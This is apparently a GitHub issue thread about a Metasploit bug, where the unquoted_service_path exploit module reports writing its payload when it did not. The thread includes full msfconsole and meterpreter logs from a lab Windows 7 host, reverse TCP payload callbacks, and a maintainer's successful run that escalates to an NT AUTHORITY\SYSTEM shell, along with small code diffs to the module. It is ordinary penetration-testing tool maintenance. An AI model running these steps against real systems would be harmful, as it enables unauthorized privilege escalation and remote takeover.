unquoted_service_path does not write the payload successfully
Steps to reproduce
In a meterpreter session with a target that has an unquoted service path vulnerability, running the module unquoted_service_path returns that it was successful. But upon further investigation, the payload wasn't written even if the user has Full Control permissions on the C:\ directory.
msf6 > handler -H 172.xx.xx.10 -P 4450 -p windows/meterpreter/bind_tcp
[*] Payload handler running as background job 0.
msf6 >
[*] Started bind TCP handler against 172.xx.xx.10:4450
[*] Sending stage (176198 bytes) to 172.xx.xx.10
[*] Meterpreter session 1 opened (172.xx.xx.100:34133 -> 172.xx.xx.10:4450) at 2024-03-30 10:03:25 +0800
msf6 > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : ELS-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 > use exploit/windows/local/unquoted_service_path
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set loglevel 3
loglevel => 3
msf6 exploit(windows/local/unquoted_service_path) > set LHOST tap0
LHOST => tap0
msf6 exploit(windows/local/unquoted_service_path) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/unquoted_service_path) > exploit
[*] Started reverse TCP handler on 172.xx.xx.100:4444
[*] Finding a vulnerable service...
[*] Placing C:\Program.exe for OpenVPNService
[*] Attempting to write 15872 bytes to C:\Program.exe...
[+] Successfully wrote payload
[*] [OpenVPNService] Restarting service
[-] [OpenVPNService] Restarting service failed: Could not open service. OpenServiceA error: Access is denied.
[-] Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!
[*] Waiting 303 seconds for shell to arrive
^C[*] Exploit completed, but no session was created.
The user doesn't have permissions to restart the service, but the output says that it successfully wrote the payload to C:\Program.exe and that the payload is left on disk. But when I list the contents of that directory, Program.exe doesn't exist:
meterpreter > ls C:\\
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 4096 dir 2016-10-05 22:53:52 +0800 $Recycle.Bin
040777/rwxrwxrwx 0 dir 2009-07-14 12:53:55 +0800 Documents and Settings
040777/rwxrwxrwx 0 dir 2009-07-14 10:37:05 +0800 PerfLogs
040555/r-xr-xr-x 4096 dir 2016-10-05 22:49:27 +0800 Program Files
040777/rwxrwxrwx 4096 dir 2014-02-22 06:27:38 +0800 ProgramData
040777/rwxrwxrwx 0 dir 2014-02-22 05:59:41 +0800 Recovery
040777/rwxrwxrwx 4096 dir 2024-03-30 09:36:32 +0800 System Volume Information
040555/r-xr-xr-x 4096 dir 2016-10-05 22:53:49 +0800 Users
040777/rwxrwxrwx 16384 dir 2016-10-05 22:51:24 +0800 Windows
100777/rwxrwxrwx 24 fil 2009-06-11 05:42:20 +0800 autoexec.bat
100666/rw-rw-rw- 10 fil 2009-06-11 05:42:20 +0800 config.sys
000000/--------- 0 fif 1970-01-01 08:00:00 +0800 pagefile.sys
meterpreter > shell
Process 2740 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is 0681-6088
Directory of C:\
06/10/2009 02:42 PM 24 autoexec.bat
06/10/2009 02:42 PM 10 config.sys
07/13/2009 07:37 PM <DIR> PerfLogs
10/05/2016 07:49 AM <DIR> Program Files
10/05/2016 07:53 AM <DIR> Users
10/05/2016 07:51 AM <DIR> Windows
2 File(s) 34 bytes
4 Dir(s) 18,240,122,880 bytes free
Were you following a specific guide/tutorial or reading documentation?
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/local/unquoted_service_path.md
Expected behavior
The payload Program.exe would be written to C:\
Current behavior
Nothing was written to C:\
Metasploit version
msf6 > version
Framework: 6.4.0-dev
Console : 6.4.0-dev
Additional Information
I was able to exploit the unquoted service path manually.
This lab is from an INE course, the IP address seems to not fall in the private IP range so I just redacted it for safety.
I had a quick look at this.
But upon further investigation, the payload wasn't written even if the user has Full Control permissions on the C:\ directory.
The module reports the payload was written to disk but does not check whether the file write was successful.
https://github.com/rapid7/metasploit-framework/blob/4ecd106681702277cb53e96b1d53eae59974b5fa/modules/exploits/windows/local/unquoted_service_path.rb#L172-L174
You could check with something like this:
diff --git a/modules/exploits/windows/local/unquoted_service_path.rb b/modules/exploits/windows/local/unquoted_service_path.rb
index 634d5b7f87..13e098469a 100644
--- a/modules/exploits/windows/local/unquoted_service_path.rb
+++ b/modules/exploits/windows/local/unquoted_service_path.rb
@@ -170,7 +170,12 @@ class MetasploitModule < Msf::Exploit::Local
print_status(" Placing #{exe_path} for #{svc_name}")
exe = @svc_exes[svc_name] ||= generate_payload_exe_service({ servicename: svc_name })
print_status(" Attempting to write #{exe.length} bytes to #{exe_path}...")
- write_file(exe_path, exe)
+
+ unless write_file(exe_path, exe)
+ print_error("#{exe_path} could not be written")
+ next
+ end
+
print_good ' Successfully wrote payload'
register_file_for_cleanup(exe_path)
It is possible that the payload was written but is cleaned up automatically upon completion. You can verify by removing the cleanup (then check if C:\Program.exe exists):
diff --git a/modules/exploits/windows/local/unquoted_service_path.rb b/modules/exploits/windows/local/unquoted_service_path.rb
index 634d5b7f87..0f10ccd30e 100644
--- a/modules/exploits/windows/local/unquoted_service_path.rb
+++ b/modules/exploits/windows/local/unquoted_service_path.rb
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status(" Attempting to write #{exe.length} bytes to #{exe_path}...")
write_file(exe_path, exe)
print_good ' Successfully wrote payload'
- register_file_for_cleanup(exe_path)
+ #register_file_for_cleanup(exe_path)
#
# Run the service, let the Windows API do the rest
If the file is cleaned up too early, you could work around this using by setting WfsDelay; ie, set WfsDelay 600 to wait 10 minutes for a shell.
For what it's worth, I tested the module successfully on a vulnerable system:
msf6 > use exploit/windows/local/unquoted_service_path
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set loglevel 2
loglevel => 2
msf6 exploit(windows/local/unquoted_service_path) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/local/unquoted_service_path) > set lport 4444
lport => 4444
msf6 exploit(windows/local/unquoted_service_path) > set session 1
session => 1
msf6 exploit(windows/local/unquoted_service_path) > set verbose true
verbose => true
msf6 exploit(windows/local/unquoted_service_path) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Finding a vulnerable service...
[+] Found potentially vulnerable service: TeamTalk Service - C:\Program Files\TeamTalk3\TeamTalkService.exe (LocalSystem)
[*] Enumerating vulnerable paths
[+] C:\ is writable
[*] Placing C:\Program.exe for TeamTalk Service
[*] Attempting to write 15872 bytes to C:\Program.exe...
[+] Successfully wrote payload
[*] [TeamTalk Service] Restarting service
[*] Sending stage (176198 bytes) to 192.168.200.190
[+] [TeamTalk Service] Service started
[+] Deleted C:\Program.exe
[*] Meterpreter session 2 opened (192.168.200.130:4444 -> 192.168.200.190:1963) at 2024-02-27 12:50:17 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.